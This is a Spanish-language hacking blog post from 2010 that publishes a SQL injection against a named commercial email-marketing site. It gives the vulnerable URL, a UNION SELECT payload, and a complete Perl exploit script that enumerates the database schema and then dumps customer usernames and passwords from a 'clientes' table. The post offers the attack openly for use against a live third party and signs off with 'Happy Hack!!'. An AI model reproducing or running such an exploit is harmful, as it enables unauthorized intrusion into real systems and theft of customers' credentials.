|  Iniciar sesion |  Suscribete!
Usuarios en linea: 2 visitantes, 0 miembros


NUEVAS PUBLICACIONES  [-]

PORT SCAN  [-]

ESCANEANDO TU IP
[38.107.191.102]

close   ftp
close   ssh
close   telnet
close   smtp
close   domain
close   http
close   pop3
close   netbios-ssn
close   webcache

Calificacion 4Calificacion 4Calificacion 4Calificacion 4Calificacion 4
Calificado 1 veces.
Autor: Molder  Fecha:24 Jun 2010

Aquí unas pruebas de SQL INJECTION a un sitio construido en PHP y MYSQL llamado WebGloob que se dedica envío de campañas publicitarias, boletines o avisos, por medio de email marketing.


img/blog/webgloob/webgloob.jpg


La sección vulnerable se encuentra en http://www.webgloob.com/noticia.php?id_noticia=3819.

Aquí pongo una prueba de la vulnerabilidad, donde obtenemos el nombre de la base de datos (id_noticia=-1 UNION select 1,2,3,database(),5,6).

img/blog/webgloob/webgloob1.jpg


Y publicamos el exploit para obtener todas las tablas, usuarios y contraseñas de clientes.


#!/usr/bin/perl
#Powered by Sombrero de paja Molder
#24 Junio 2010
#Exploit sql inyection WebGloob
#Aztlan Hack I. S. T. http://www.aztlan-hack.org

use IO::Socket;

$host = "www.webgloob.com";

$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "http(80)",
);

unless ($remote) { die "[+] No se puede conectar al host $host \n" }

$remote->autoflush(1);

print $remote "GET /noticia.php?id_noticia=-1+union+select+1,2,3,database(),5,6 HTTP/1.1\nHOST: ".$host."\n\n";

print "[+] Obteniendo Base de datos:\n";

while(<$remote>)
{
$linea = $_;
if ($linea=~/(imagenjpeg.php\?ruta=3&amp;ancho=300&amp;alto=300" alt="(.*?)" border="0")/i )
{
print $2."\n";

}
}
print "\n\n";

print "[+] Obteniendo Todas las tablas del servidor xD...:\n";

for($x=1;$x <=100; $x++)
{
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "http(80)",
);

unless ($remote) { die "[+] No se puede conectar al host $host \n" }

$remote->autoflush(1);
print $remote "GET /noticia.php?id_noticia=-1+union+select+1,2,3,table_name,5,6+from+information_schema.tables+limit+".$x.",1 HTTP/1.1\nHOST: ".$host."\n\n";

$dato = "";

while(<$remote>)
{
$linea = $_;

if ($linea=~/(imagenjpeg.php\?ruta=3&amp;ancho=300&amp;alto=300" alt="(.*?)" border="0")/i )
{
$dato = $2;
print $dato."\n";
}
}
if($dato eq "")
{
$x=100;
}
}

print "\n\n";

print "[+] Obteniendo Todas las columnas de la tabla clientes xD...:\n";

for($x=0;$x <=100; $x++)
{
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "http(80)",
);


unless ($remote) { die "[+] No se puede conectar al host $host \n" }

$remote->autoflush(1);
print $remote "GET /noticia.php?id_noticia=-1+union+select+1,2,3,column_name,5,6+FROM+information_schema.columns+WHERE+table_name=char(99,108,105,101,110,116,101,115)+limit+".$x.",1 HTTP/1.1\nHOST: ".$host."\n\n";
$dato = "";
while(<$remote>)
{
$linea = $_;

if ($linea=~/(imagenjpeg.php\?ruta=3&amp;ancho=300&amp;alto=300" alt="(.*?)" border="0")/i )
{
$dato = $2;
print $dato."\n";
}
}
if($dato eq "")
{
$x=100;
}
}

print "\n\n";
print "[+] Obteniendo Usuarios y passwords LOL...:\n";

for($x=0;$x <=1000; $x++)
{
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "http(80)",
);

unless ($remote) { die "[+] No se puede conectar al host $host \n" }
$remote->autoflush(1);
print $remote "GET /noticia.php?id_noticia=-1+union+select+1,2,3,concat(usuario,char(58),password)+as+user,5,6+FROM+clientes+limit+".$x.",1 HTTP/1.1\nHOST: ".$host."\n\n";

$dato = "";
while(<$remote>)
{
$linea = $_;

if ($linea=~/(imagenjpeg.php\?ruta=3&amp;ancho=300&amp;alto=300" alt="(.*?)" border="0")/i )
{
$dato = $2;
print $dato."\n";
}

}
if($dato eq "")
{
$x=1000;
}
}
print "\n\n";
print "[+] Fin del programa\n";



Happy Hack!!

12 comentarios  [Comenta este articulo]


[-]
Nick:
E-mail:
Mensaje:
captcha
Captcha:
  

Síguenos en  Síguenos en Facebook    Síguenos en Twitter

08 Sep 2010 Eres el visitante número:35637

Hackers, hacking etico, Seguridad Informatica, cracking, RFI, XSS, SQL Injection, Hack Hotmail, Telefonia Celular, Textos Hack, Programacion, Herramientas hacker
Todos los derechos reservados Aztlan Hack I. S. T. http://www.aztlan-hack.org Powered by Molder

¡CSS Valido!                    Valid XHTML 1.0 Transitional